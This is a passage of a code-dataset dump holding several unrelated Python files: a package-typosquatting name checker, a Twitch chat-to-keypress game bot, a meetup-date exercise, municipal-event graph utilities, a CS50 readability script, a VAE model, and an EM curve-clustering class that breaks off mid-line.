package_names:\n    for package in packages_to_check:\n        if not package in package_names:\n            similarity = SequenceMatcher(None, p, package).ratio()\n            if similarity > args.confidence/10:\n                print(f\"**{package}** might be impersonating {p} ({similarity*100}% similar)\")\n","repo_name":"vin01/squatdetect","sub_path":"squatdetect.py","file_name":"squatdetect.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"39132228396","text":"########################################################################\n#\n# Keys used for naming columns in Pandas DataFrames.\n########################################################################\n\nTOTAL_RETURN = 'Total Return'\nSHARE_PRICE = 'Share-price'\n\nDIVIDEND = 'Dividend'\nDIVIDEND_TTM = 'Dividend TTM'\nDIVIDEND_YIELD = 'Dividend Yield'\n\nEARNINGS_PER_SHARE = \"Earnings Per Share\"\nSALES_PER_SHARE = \"Sales Per Share\"\nBOOK_VALUE_PER_SHARE = \"Book-Value Per Share\"\n\nSALES_GROWTH = \"Sales Growth\"  # Sales Per Share Growth\nPROFIT_MARGIN = \"Profit Margin\"  # Earnings Per Share / Sales Per Share\n\nPE = \"P/E\"  # Price/Earnings\nPSALES = \"P/Sales\"\nPBOOK = \"P/Book\"\nPDIVIDEND = \"P/Dividend\"\n\nANN_RETURN = \"Annualized Return\"\nBOND_YIELD = \"Bond Yield\"\nCPI = \"CPI\"\n\n########################################################################\n","repo_name":"asthahariyani/predictingstockreturns","sub_path":"data_keys.py","file_name":"data_keys.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"44075705961","text":"import socket\r\nimport pyautogui\r\nimport threading\r\n\r\nSERVER = \"irc.twitch.tv\"\r\nPORT = 6667\r\nPASS = \"oauth:xxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\r\nBOT = \"xxxxxxxxxx\" #nombre del bot\r\nCHANNEL = \"XxXxXoXxXxX\" #Canal de twitch, no son necesarias mayúsculas\r\nOWNER = \"XxXxXxXwXxXxXxX\" #acá me dormí, pero el señor al que le copié el codigo pone lo mismo que el canal\r\nmessage = \"\"\r\nirc = socket.socket()\r\nirc.connect((SERVER, PORT))\r\nirc.send((\"PASS \" + PASS + \"\\n\" +\r\n          \"NICK \" + BOT + \"\\n\" +\r\n          \"JOIN #\" + CHANNEL + \"\\n\").encode())\r\n\r\ndef gamecontrol():\r\n    global message\r\n\r\n    while True:                 #Acá abajo se van poniendo los controles digamos\r\n        if \"1\" in message.lower():\r\n            pyautogui.keyDown('1')\r\n            message = \"\"\r\n            pyautogui.keyUp('1')\r\n\r\n        elif \"2\" in message.lower():\r\n            pyautogui.keyDown('2')\r\n            message = \"\"\r\n            pyautogui.keyUp ('2')\r\n\r\n        elif \"3\" in message.lower():\r\n            pyautogui.keyDown('3')\r\n            message = \"\"\r\n            pyautogui.keyUp ('3')\r\n\r\n        elif \"4\" in message.lower():\r\n            pyautogui.keyDown('4')\r\n            message = \"\"\r\n            pyautogui.keyUp ('4')\r\n\r\n        elif \"5\" in message.lower():\r\n             pyautogui.keyDown('5')\r\n             message = \"\"\r\n             pyautogui.keyUp ('5')\r\n\r\n        elif \"6\" in message.lower():\r\n             pyautogui.keyDown('6')\r\n             message = \"\"\r\n             pyautogui.keyUp ('6')\r\n\r\n        elif \"7\" in message.lower():\r\n             pyautogui.keyDown('7')\r\n             message = \"\"\r\n             pyautogui.keyUp ('7')\r\n\r\n        elif \"8\" in message.lower():\r\n             pyautogui.keyDown('8')\r\n             message = \"\"\r\n             pyautogui.keyUp('8')\r\n\r\n        elif \"9\" in message.lower():\r\n             pyautogui.keyDown('9')\r\n             message = \"\"\r\n             pyautogui.keyUp('9')\r\n\r\n        elif \"0\" in message.lower():\r\n             pyautogui.keyDown('0')\r\n             message = \"\"\r\n             pyautogui.keyUp('0')\r\n\r\n        elif \"q\" in message.lower():\r\n             pyautogui.keyDown('1')\r\n             pyautogui.keyDown('2')\r\n             message = \"\"\r\n             pyautogui.keyUp('1')\r\n             pyautogui.keyUp('2')\r\n\r\n        elif \"w\" in message.lower():\r\n             pyautogui.keyDown('2')\r\n             pyautogui.keyDown('3')\r\n             message = \"\"\r\n             pyautogui.keyUp('3')\r\n             pyautogui.keyUp('4')\r\n\r\n        elif \"e\" in message.lower():\r\n            pyautogui.keyDown('4')\r\n            pyautogui.keyDown('5')\r\n            message = \"\"\r\n            pyautogui.keyUp('5')\r\n            pyautogui.keyUp('6')\r\n\r\n        elif \"r\" in message.lower():\r\n            pyautogui.keyDown('6')\r\n            pyautogui.keyDown('7')\r\n            message = \"\"\r\n            pyautogui.keyUp('7')\r\n            pyautogui.keyUp('8')\r\n\r\n        elif \"t\" in message.lower():\r\n            pyautogui.keyDown('8')\r\n            pyautogui.keyDown('9')\r\n            message = \"\"\r\n            pyautogui.keyUp('8')\r\n            pyautogui.keyUp('9')\r\n\r\n        elif \"y\" in message.lower():\r\n            pyautogui.keyDown('9')\r\n            pyautogui.keyDown('0')\r\n            message = \"\"\r\n            pyautogui.keyUp('9')\r\n            pyautogui.keyUp('0')\r\n\r\n        else:\r\n             pass\r\n\r\n\r\n\r\ndef twitch():\r\n    def joinchat():\r\n        Loading = True\r\n        while Loading:\r\n            readbuffer_join = irc.recv(1024)\r\n            readbuffer_join = readbuffer_join.decode()\r\n            for line in readbuffer_join.split(\"\\n\")[0:-1]:\r\n                print(line)\r\n                Loading = loadingComplete(line)\r\n\r\n    def loadingComplete(line):\r\n        if (\"End of /NAMES list\" in line):\r\n            print(\"bot has joined \" + CHANNEL + \"'s Channel!\")\r\n            sendMessage(irc, \"chat room joined\")\r\n            return False\r\n        else:\r\n            return True\r\n\r\n    def sendMessage(irc, message):\r\n        messageTemp = \"PRIVMSG #\" + CHANNEL + \" :\" + message\r\n        irc.send((messageTemp + \"\\n\").encode())\r\n\r\n    def getUser(line):\r\n        separate = line.split(\":\", 2)\r\n        user = separate[1].split(\"!\", 1)[0]\r\n        return user\r\n\r\n    def getMessage(line):\r\n        global message\r\n        try:\r\n            message = (line.split(\":\", 2))[2]\r\n        except:\r\n            message = \"\"\r\n        return message\r\n\r\n    def Console(line):\r\n        if \"PRIVMSG\" in line:\r\n            return False\r\n        else:\r\n            return True\r\n\r\n    joinchat()\r\n\r\n    while True:\r\n        try:\r\n            readbuffer = irc.recv(1024).decode()\r\n        except:\r\n            readbuffer = \"\"\r\n        for line in readbuffer.split(\"\\r\\n\"):\r\n            if line == \"\":\r\n                continue\r\n            elif \"PING\" in line and Console(line):\r\n                msgg = \"PONG tmi.twitch.tv\\r\\n\".encode()\r\n                irc.send(msgg)\r\n                print(msgg)\r\n                continue\r\n            else:\r\n                print(line)\r\n                user = getUser(line)\r\n                message = getMessage(line)\r\n                print(user + \" : \" + message)\r\nif __name__=='__main__':\r\n    t1 = threading.Thread(target = twitch)\r\n    t1.start()\r\n    t2 = threading.Thread(target = gamecontrol)\r\n    t2.start()\r\n","repo_name":"Smoukah/Twitch-play-xxx-bot-","sub_path":"TwitchPlayXBot.py","file_name":"TwitchPlayXBot.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"20480045466","text":"from datetime import datetime, timedelta, date\n\nclass MeetupDayException(Exception):\n    pass\n\nDAY_OF_WEEK = { 'Monday' : 1, 'Tuesday' : 2, 'Wednesday' : 3, 'Thursday' : 4, 'Friday' : 5, 'Saturday' : 6, 'Sunday' : 7 }\nWHICH = { '1st' : 0, '2nd' : 1, '3rd' : 2, '4th' : 3, '5th': 4, 'last' : -1 }\n\ndef meetup_day(year, month, day_of_the_week, which):\n    mapping = { 1:[], 2:[], 3:[], 4:[], 5:[], 6:[], 7:[] }\n    d = datetime(year, month, 1)\n    if month == 12 :\n        next_month = 1\n        next_year = year + 1\n    else:\n        next_month = month + 1\n        next_year = year\n    while d < datetime(next_year, next_month, 1):\n        mapping[d.isoweekday()].append(d.day)\n        d += timedelta(days=1)\n    days = mapping[DAY_OF_WEEK[day_of_the_week]]\n    if which == 'teenth':\n        day = [ i for i in range(13,20) if i in days][0]\n    else:\n        try:\n            day = days[WHICH[which]]\n        except:\n            raise MeetupDayException(\"Out of range\")\n    return date(year, month, day)\n","repo_name":"markostanojlovic/playingexercism","sub_path":"python/meetup/meetup.py","file_name":"meetup.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"43480107751","text":"# -*- coding: utf-8 -*-\nimport datetime\nfrom typing import Dict, List, TypedDict, Union\n\nimport networkx as nx\nimport pandas as pd\n\nfrom munievents.api_clients import Classifications\n\nEVENTS = {\n    (\"Neue Bezirks-/Kantonszuteilung\", \"Neue Bezirks-/Kantonszuteilung\"): None,\n    (\n        \"Aufhebung Gemeinde/Bezirk\",\n        \"Neugründung Gemeinde/Bezirk\",\n    ): \"formed\",  # merge multiple to new one\n    (\n        \"Aufhebung Gemeinde/Bezirk\",\n        \"Gebietsänderung Gemeinde\",\n    ): \"merged to\",  # merge to existing commune\n    (\"Gebietsänderung Gemeinde\", \"Gebietsänderung Gemeinde\"): \"reshaped\",\n    (\"Namensänderung Gemeinde\", \"Namensänderung Gemeinde\"): \"renamed\",\n    (\n        \"Gebietsänderung Gemeinde\",\n        \"Neugründung Gemeinde/Bezirk\",\n    ): \"splitted to\",  # split out a new commune\n}\nCOLORS = [\n    \"rgb(12,51,131)\",\n    \"rgb(10,136,186)\",\n    \"rgb(242,211,56)\",\n    \"rgb(242,143,56)\",\n    \"rgb(217,30,30)\",\n]\nlabels = [event for event in EVENTS.values() if event]\nCOLORMAP = dict(zip(labels, COLORS))\n\n\nlast_year = datetime.datetime.now().year\n\n\ndef get_municipal_data() -> pd.DataFrame:\n    \"\"\"Get all municipal events, except for changing kanton/bezirk.\n    Events covered are:\n        - formed\n        - merged to\n        - reshaped\n        - renamed\n        - splitted to\n    Args:\n        None:\n\n    Returns:\n        pd.DataFrame:   municipal events. Includes columns:\n                        - parent_name,\n                        - parent_admission (yyyy),\n                        - parent_abolition (yyyy),\n                        - child_name,\n                        - child_admission (yyyy),\n                        - child_abolition (yyyy),\n                        - eventdate (yyyy-mm-dd),\n                        - ab_label,\n                        - ad_label,\n                        - event,\n                        - parent\n                        - child\n    \"\"\"\n\n    df = Classifications().getMunicipalEvents()\n\n    df[\"event\"] = df.apply(lambda x: EVENTS[(x.ab_label, x.ad_label)], axis=1)\n    df.child_abolition.fillna(value=last_year, inplace=True)\n    df.child_abolition = df.child_abolition.astype(int)\n\n    df[\"parent\"] = (\n        df[\"parent_name\"]\n        + df[\"parent_admission\"].astype(str)\n        + \"-\"\n        + df[\"parent_abolition\"].astype(str)\n    )\n    df[\"child\"] = (\n        df[\"child_name\"]\n        + df[\"child_admission\"].astype(str)\n        + \"-\"\n        + df[\"child_abolition\"].astype(str)\n    )\n\n    # Remove data on kanton change\n    is_irrelevant_data = df[\"event\"].isnull()\n    for row in df[is_irrelevant_data].itertuples():\n        is_parent = df[\"child\"] == row.parent\n        df.loc[is_parent, [\"child_abolition\"]] = row.child_abolition\n\n        is_child = df[\"parent\"] == row.child\n        df.loc[is_child, [\"parent_admission\"]] = row.parent_admission\n\n    df = df[~is_irrelevant_data]\n    df[\"parent\"] = (\n        df[\"parent_name\"]\n        + df[\"parent_admission\"].astype(str)\n        + \"-\"\n        + df[\"parent_abolition\"].astype(str)\n    )\n    df[\"child\"] = (\n        df[\"child_name\"]\n        + df[\"child_admission\"].astype(str)\n        + \"-\"\n        + df[\"child_abolition\"].astype(str)\n    )\n\n    return df\n\n\ndef get_communes() -> Dict[str, str]:\n    \"\"\"Get all swiss communes at all their configurations.\n    Args:\n        None:\n\n    Returns:\n        Dict[str, str]:     mapping from commune id to commune name.\n                            Commune ID refers to commune between year A and B, where events happend at points A and B, but not in between.\n                            The commune name refers to its official name, that may remain unchanged after the event.\n    \"\"\"\n\n    df = get_municipal_data()\n    names = df[df[\"child_abolition\"] == last_year][\"child_name\"]\n    ids = df[df[\"child_abolition\"] == last_year][\"child\"]\n\n    return dict(zip(ids, names))\n\n\ndef create_graph() -> nx.DiGraph:\n    \"\"\"Create graph representing municipal events.\n    Args:\n        None:\n\n    Returns:\n        Dict[str, str]:     graph representing municipal events.\n                            Each node represents a commune at certain time interval, where no events happened. Nodes have properties:\n                             -label\n                            Each edge represents an event, changing either commune name, or shape. The edges have properties:\n                            - date\n                            - event\n                            - color\n    \"\"\"\n\n    df = get_municipal_data()\n    graph = nx.DiGraph()\n\n    for row in df.itertuples():\n\n        graph.add_node(row.parent, label=row.parent_name)\n        graph.add_node(row.child, label=row.child_name)\n\n        if row.event:\n            graph.add_edge(\n                row.parent,\n                row.child,\n                date=row.eventdate.year,\n                event=row.event,\n                color=COLORMAP[row.event],\n            )\n\n    return graph\n\n\ndef get_subgraph(graph: nx.Graph, node: str) -> nx.Graph:\n    \"\"\"Get part of the graph containing certain node. All parts of the original graph that\n    are not connected to the node are discared.\n    Args:\n        graph:          full graph, consisting of many unconnected subgraphs\n        node:           node of interest\n\n    Returns:\n        nx.Graph:       part of the graph containing node, and all elements connected to the node.\n                        Both direct and indirect connections are included.\n    \"\"\"\n\n    relevant_nodes = nx.algorithms.components.node_connected_component(\n        graph.to_undirected(), node\n    )\n    subgraph = graph.subgraph(relevant_nodes)\n\n    return subgraph\n\n\nclass CytoscapeNode(TypedDict):\n    id: str\n\n\nclass CytoscapeEdge(TypedDict):\n    source: str\n    target: str\n\n\nclass CytoscapeElement(TypedDict):\n\n    data: Union[CytoscapeNode, CytoscapeEdge]\n\n\ndef networkx2cytoscape(graph: nx.Graph) -> List[CytoscapeElement]:\n    \"\"\"Transform networkx graph to cytoscape object.\n    Args:\n        graph:                      a networkx graph\n\n    Returns:\n        List[CytoscapeElement]:     a cytoscape graph. Format as per: https://dash.plotly.com/cytoscape/elements\n    \"\"\"\n\n    items = []\n    for node in graph.nodes:\n\n        node_properties = graph.nodes[node]\n        items.append({\"data\": {\"id\": node, **node_properties}})\n\n    for source, target in graph.edges:\n\n        edge_properties = graph.get_edge_data(source, target)\n        items.append({\"data\": {\"source\": source, \"target\": target, **edge_properties}})\n\n    return items\n","repo_name":"zazuko/munievents","sub_path":"munievents/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"17428652113","text":"# Import get_string function from CS50 library\nfrom cs50 import get_string\n\n# Get input from user\ntext = get_string(\"Text: \")\n\n# Initialise word_count, taking into account last word won't be followed by a space\nif len(text) > 0:\n    word_count = 1\nelse:\n    word_count = 0\n\n# Initialise other variables\nsentence_end = [\".\", \"!\", \"?\"]\nsentence_count = 0\ntotal_chars = 0\n\n# Loop through string\nfor i in range(len(text)):\n    if text[i].isalpha():\n        total_chars += 1\n    if text[i] in sentence_end:\n        sentence_count += 1\n    if text[i] == \" \":\n        word_count += 1\n\n# Calculate average number of letters per 100 words in the text\nletters = (total_chars / word_count) * 100\n\n# Calculate average number of sentences per 100 words in the text\nsentence = (sentence_count / word_count) * 100\n\n# Implement Coleman-Liau index\ngrade = 0.0588 * letters - 0.296 * sentence - 15.8\n\n# Print final answer\nif grade >= 16:\n    print(\"Grade 16+\")\nelif grade < 1:\n    print(\"Before Grade 1\")\nelse:\n    print(f\"Grade {round(grade)}\")","repo_name":"james-lubwama/CS50","sub_path":"Python/pset6/readability/readability.py","file_name":"readability.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"23669645718","text":"#%%\r\nimport os\r\nimport sys\r\nimport random\r\nimport argparse\r\nimport yaml\r\nimport ruamel.yaml\r\n\r\nimport torch\r\nimport numpy as np\r\n\r\nfrom train import train_model\r\nfrom test  import test_model\r\n\r\nfrom pathlib import Path\r\n\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\ndef get_logging_meta_config():\r\n\r\n    if os.path.isfile('./configs/logging_meta_config.yaml'):\r\n        with open(Path('./configs/logging_meta_config.yaml'), 'r') as f:\r\n            logging_meta = yaml.load(f, Loader=yaml.FullLoader)\r\n                \r\n    else:\r\n        logging_meta = {'exp_version':'Untitled',\r\n                        'location_tag':['local-machine'], \r\n                        'neptune_project': None, \r\n                        'neptune_api_token': None}\r\n        \r\n    return logging_meta\r\n\r\n\r\nif __name__ == '__main__':\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument('action',    type=str, choices=['train', 'val', 'test', 'infer'])\r\n    \r\n    # major experiment configurations\r\n    # parser.add_argument('--feature', type=int, default=0           , choices=[0, 1, 2]) # 0: [MEL, MEL_IV], 1: [MAG, cosIPD, IV], 2: [complexSpectra]\r\n    parser.add_argument('--dataset', type=str, default='DCASE2022',   choices=['DCASE2020', 'DCASE2021', 'DCASE2022'])\r\n    parser.add_argument('--encoder', type=str, default='se-resnet34', choices=['se-resnet34', 'resnet-conformer'])\r\n    parser.add_argument('--loss',    type=str, default='adyolo',      choices=['seddoa', 'masked-seddoa', 'accdoa', 'adpit', 'adyolo'])\r\n    parser.add_argument('--device',  type=str, default='cuda:0',      help='cuda device specification')\r\n    \r\n    # minor experiment configurations\r\n    parser.add_argument('--seed',       type=int, default=100, help='integer seed to initiate random state')\r\n    parser.add_argument('--augment',    action='store_true',   help='given to apply rotation and spec-augmentation while training')\r\n    parser.add_argument('--fix_thresh', action='store_true',   help='if False, dynamically arbitrate confidence threshold value upon each 10th validation phase')\r\n        \r\n    # utilities\r\n    parser.add_argument('--logger',      action='store_true')\r\n    parser.add_argument('--quick_test',  action='store_true')\r\n    parser.add_argument('--eval_pth',    type=str, default=None)\r\n    parser.add_argument('--resume_pth',  type=str, default=None)\r\n\r\n    args = parser.parse_args()\r\n    \r\n    args.logging_meta = get_logging_meta_config()\r\n    args.logging_meta['location_tag'].append(args.device)\r\n        \r\n    if args.action == 'train':\r\n        train_model(vars(args), args.resume_pth is not None)\r\n    \r\n    else:     \r\n        test_model(vars(args))\r\n\r\n\r\n    # elif args.action in ['val', 'test']:\r\n    #     if args.eval_pth is not None:\r\n    #         test_model(vars(args))\r\n    #     else:\r\n    #         raise ValueError(args.eval_pth) \r\n    \r\n    # elif args.action == 'infer':\r\n    #     raise NotImplementedError(args.action)\r\n\r\n    # else:\r\n    #     raise NotImplementedError(args.action)\r\n    \r\n# %%\r\n","repo_name":"sadPororo/AD-YOLO","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3033,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"79"}
+{"seq_id":"33860398587","text":"from dataset import fetch_dataset\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom config import *\nfrom train import train_model\n\n\n# Load Dataset\ntrain_ds, train_loader, val_ds, val_loader, attributes = fetch_dataset()\n\n# Define the VAE model\nclass VAE(nn.Module):\n    def __init__(self, in_channels, latent_dim):\n        super().__init__()\n        self.in_channels = in_channels\n        self.latent_dim = latent_dim\n        \n        self.encoder = nn.Sequential(\n            nn.Conv2d(in_channels, 16, kernel_size=3, stride=1, padding=1),\n            nn.ReLU(),\n            nn.MaxPool2d(kernel_size=2),\n            nn.Conv2d(16, 32, kernel_size=3, stride=1, padding=1),\n            nn.ReLU(),\n            nn.MaxPool2d(kernel_size=2),\n            nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1),\n            nn.ReLU(),\n            nn.MaxPool2d(kernel_size=2),\n            nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1),\n            nn.ReLU(),\n            nn.MaxPool2d(kernel_size=2),\n            nn.Flatten()\n        )\n        \n        self.linear1 = nn.Linear(64 * 8 * 8, self.latent_dim)\n        self.linear2 = nn.Linear(64 * 8 * 8, self.latent_dim)\n        \n        self.decoder = nn.Sequential(\n            nn.Linear(latent_dim, 64 * 8 * 8),\n            nn.ReLU(),\n            nn.Unflatten(1, (64, 8, 8)),\n            nn.ConvTranspose2d(64, 64, kernel_size=3, stride=2, padding=1, output_padding=1),\n            nn.ReLU(),\n            nn.ConvTranspose2d(64, 32, kernel_size=3, stride=2, padding=1, output_padding=1),\n            nn.ReLU(),\n            nn.ConvTranspose2d(32, 16, kernel_size=3, stride=2, padding=1, output_padding=1),\n            nn.ReLU(),\n            nn.ConvTranspose2d(16, 3, kernel_size=3, stride=2, padding=1, output_padding=1),\n            nn.Sigmoid()\n        )\n\n    def encode(self, x):\n        h = self.encoder(x)\n        mu = self.linear1(h)\n        log_var = self.linear2(h)\n        return mu, log_var\n\n    def reparameterize(self, mu, log_var):\n        std = torch.exp(0.5 * log_var)\n        eps = torch.randn_like(std)\n        z = mu + eps * std\n        return z\n\n    def decode(self, z):\n        x_reconstructed = self.decoder(z)\n        return x_reconstructed\n    \n    def forward(self, x):\n        mu, log_var = self.encode(x)\n        z = self.reparameterize(mu, log_var)\n        x_reconstructed = self.decode(z)\n        return x_reconstructed, mu, log_var\n\n# Instantiate the VAE model\nmodel = VAE(INPUT_CHANNEL, LATENT_DIM).to(DEVICE)\n\n# Define the optimizertrain_dataset\noptimizer = optim.Adam(model.parameters(), lr=LEARNING_RATE)\n\n# Train the VAE model\nif TRAINING == True:\n    train_model(model, train_loader, val_loader, optimizer)\n\n","repo_name":"rajangyawali/NeuralNetworkFinalProject","sub_path":"vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"18951730114","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Sep 27 17:23:44 2016\r\n\r\n@author: wayin\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport scipy.odr as odr\r\nimport time\r\nimport sympy as sp\r\nimport scipy.optimize\r\nimport inspect\r\nfrom numpy import array,sin,cos,vstack,ones,zeros\r\nimport dill\r\nimport matplotlib.pyplot as plt\r\n\r\nclass EM_cluster(object):\r\n    \"\"\"\r\n    Input:\r\n        data: the class accept 2 kind of objects:\r\n            1. tuple (x0,x1,...,xd), each xi is of size (n,) for i=1,...,d\r\n            2. (n,d) numpy array\r\n        f   : Only accecpt function f:R1-->Rd\r\n        bini_fcn: function from data (x0,x1,...,xd) t0 the initial b for leastsq\r\n        \"\"\"\r\n    def __init__(self,data,parms,f,bini_fcn,randomseed=1):\r\n        \"\"\"\r\n        data: (n,d) matrix\r\n        parms = ['n_clusters','beta_ini','sigma2_ini','lam_ini']\r\n            parms['n_clusters']: number of clusters, say K.\r\n            parms['beta_ini']: size(K,m), m is length of parameter in f. (Optional)\r\n            parms['sigma2_ini]: size (K,). (Optional)\r\n            parms['lam_ini']: size(K,). (Optional)\r\n        \"\"\"\r\n        np.random.seed(randomseed)\r\n        if type(data)==tuple:\r\n            X_nd = np.vstack(data).T.astype('float64')\r\n        else:\r\n            X_nd = data\r\n        n,d = X_nd.shape        \r\n        self.d = d\r\n        self.n = n\r\n        self.X_nd = X_nd\r\n        self.data = data\r\n        self.parms = parms\r\n        self.f = f        \r\n        self.bini_fcn = bini_fcn\r\n        \r\n        \r\n        K = parms['n_clusters']\r\n        self.K=K\r\n        if  'lam_ini' in parms:\r\n            self.lam_ini=parms['lam_ini']\r\n        else:\r\n#            lam_ini=np.random.rand(K,)\r\n#            lam_ini = lam_ini/np.sum(lam_ini)\r\n            lam_ini = np.ones((K,))/K            \r\n            self.lam_ini = lam_ini\r\n            \r\n        f_inputArg=inspect.getargspec(f)\r\n        self.m = len(f_inputArg[0])-1\r\n        #m: length of paramters used in f\r\n        self.Eq_2find_t()\r\n        \r\n        if 'beta_ini' in parms:\r\n            self.beta_ini= parms['beta_ini']\r\n        else:\r\n            beta_Km = zeros((K,self.m))\r\n            randnum = np.random.rand(n,)\r\n            edge = np.append(0,np.cumsum(lam_ini))\r\n            for k in range(K):\r\n                tmp = (edge[k]<randnum)*(randnum<edge[k+1])\r\n                idk = np.nonzero(tmp)\r\n                Xk = X_nd[idk[0],:]\r\n                beta_Km[k,:]=bini_fcn(*list(Xk.T))\r\n            self.beta_ini = beta_Km\r\n        if 'sigma2_ini' in parms:\r\n            self.sigma2_ini = parms['sigma2_ini']\r\n        else:\r\n            self.sigma2_ini = ones((K,))\r\n                \r\n        self.model_name = f.__name__\r\n        \r\n    def Eq_2find_t(self):\r\n        t = sp.Symbol('t')\r\n        b = sp.symbols('b0:%d' % self.m)\r\n        fmat = sp.Matrix(self.f(t,*b))#size (d,1)\r\n        dfmat = sp.diff(fmat,t)#size (d,1)\r\n        \r\n        self.dim = len(fmat)\r\n        x = sp.symbols('x0:%d' % self.d)\r\n        pt = sp.Matrix(x)#(d,1)\r\n        gg  = (pt-fmat).T*dfmat\r\n        self.sol = sp.Matrix(sp.solve(gg[0],t))# too slow\r\n        self.nsol = len(self.sol)\r\n        self.sollam = sp.lambdify(b+x,self.sol,'numpy')\r\n        self.g  = sp.lambdify(b+x,gg[0],'sympy')\r\n        dg = sp.diff(gg[0],t)\r\n        self.dg = sp.lambdify(b+x,dg,'sympy')\r\n        tb = tuple([t])+b\r\n        self.fnp = sp.lambdify(tb,fmat,'numpy')\r\n        \r\n    def choose_tmat(self,X_nd,ttmat,listb):\r\n        \"\"\"\r\n        ttmat: size(nsol,n)\r\n        \"\"\"\r\n        X_nd = X_nd.real\r\n        n = X_nd.shape[0]\r\n        Xpred = self.fnp(ttmat,*listb)# Xpred is array of size(dim,1,nsol,n)\r\n        Xpred = np.squeeze(Xpred,axis=1)# now Xpred is array of size(dim,nsol,n)\r\n        err = np.zeros((self.nsol,n,self.d))\r\n        for d in range(self.d):\r\n            err[:,:,d] = Xpred[d,:,:]-X_nd[:,d]# of size (nsol,n,dim)\r\n        err2 = np.sum(err**2,axis=2)# size  (nsol,n)\r\n        tind = np.argmin(err2,axis=0) #size (n,)\r\n        tmp = range(n)\r\n        tfit = ttmat[tind,tmp]\r\n        pterr = err[tind,tmp,:]# size(n,dim)\r\n        return tfit,pterr\r\n        \r\n    def find_t(self,X_nd,listb):\r\n        \"\"\"\r\n        f(t,b): t-->(x1(t),x2(t),...,xd(t)), the return should be d-dim tuple\r\n        pt: size(d,)\r\n        b: list of variables of f\r\n        data: tuple (x,y), x and y are of size (n,)\r\n        \"\"\"\r\n        X_nd = X_nd.astype('complex')\r\n        listx = list(X_nd.T)\r\n        ttmat = self.sollam(*(listb+listx)).real\r\n        ttmat = np.squeeze(ttmat,axis=1)#size(self.nsol,n)\r\n        t_fit,pterr = self.choose_tmat(X_nd,ttmat,listb)\r\n        return t_fit,pterr\r\n    \r\n    def find_t_lite(self,pt,listb):\r\n        \"\"\"\r\n        lite version of find_t, where pt is (d,) array\r\n        \"\"\"\r\n        \r\n        pt = pt.astype('complex')\r\n        args=listb+list(pt.flatten())\r\n        tti = self.sollam(*args)\r\n        ttmat = tti.real.flatten() \r\n        \r\n        Xpred = self.fnp(ttmat,*listb)# Xpred is array of size(dim,1,nsol)\r\n        Xpred = np.squeeze(Xpred,axis=1)# now Xpred is array of size(dim,nsol)\r\n        err = Xpred.T-pt.real\r\n        err2 = np.sum(err**2,axis=1)\r\n        tind = np.argmin(err2)\r\n        tfit = tti[tind]\r\n        return tfit.real,np.min(err2)\r\n        \r\n        \r\n    def pdf_z_given_beta(self,beta_Km,sigma2_K):\r\n        X_nd = self.X_nd\r\n        K = self.K\r\n        n = self.n\r\n        pdf_Kn = zeros((K,n))\r\n        s2 = sigma2_K\r\n        for k in range(K):\r\n            listb = list(beta_Km[k,:])\r\n            _,pterr = self.find_t(X_nd,listb)# size(n,d)\r\n            err2 = np.sum(pterr**2,axis=1)\r\n            pdf_Kn[k,:]=np.exp(-err2**2/2/s2[k])/np.sqrt(2*np.pi*s2[k])\r\n        return pdf_Kn\r\n    \r\n    def err_fun(self,b,X_nd,w=None):\r\n        \"\"\"\r\n        X_nd has to be a complex matrix of size (n,d)\r\n        \"\"\"\r\n        listb = list(b)\r\n        _,pterr_nd = self.find_t(X_nd,listb)\r\n        err_flat = pterr_nd.flatten('F')\r\n        if w is not None:\r\n            err_flat = w*err_flat\r\n        return err_flat.astype('float64')\r\n        \r\n    def fit_b(self,x,w=None,initial=None):\r\n        if initial != None:\r\n            B0 = initial\r\n        else:\r\n            xarg = list(x.T)\r\n            n = x.shape[0]\r\n            if w is not None:\r\n#                w1 = w[:n]**2 #in fcn_fit, we will have weight be square rooted\r\n                w1 = w[:n]\r\n                xarg.append(w1)\r\n            B0 = self.bini_fcn(*xarg)\r\n            \r\n        Bfit,_ = scipy.optimize.leastsq(self.err_fun, B0, args=(x.astype('complex'),w),Dfun=None,maxfev=300,)\r\n        \r\n        return Bfit  \r\n    def M_step(self,w_Kn):\r\n        X_nd = self.X_nd\r\n        K = self.K\r\n        m = self.m\r\n        n = self.n\r\n        beta_Km = zeros((K,m))\r\n        sigma2_K=zeros((K,))\r\n        ww = (w_Kn.T/np.sum(w_Kn,axis=1)).T#(K,n)\r\n        for k in range(K):\r\n            wei = np.append(ww[k,:],ww[k,:])#(2n,)\r\n            bk = self.fit_b(X_nd,wei)\r\n            _,pterr = self.find_t(X_nd,list(bk))# size(n,d)\r\n            err2 = np.sum(pterr**2,axis=1)\r\n            sigma2_K[k]=np.dot(wei[:n],err2)\r\n            beta_Km[k,:]=bk\r\n        return beta_Km,sigma2_K\r\n        \r\n    def E_step(self,lam_K,beta_Km,sigma2_K):\r\n        pdf_Kn = self.pdf_z_given_beta(beta_Km,sigma2_K)\r\n        w_Kn_tmp =(lam_K*pdf_Kn.T).T\r\n        sum_w_n = 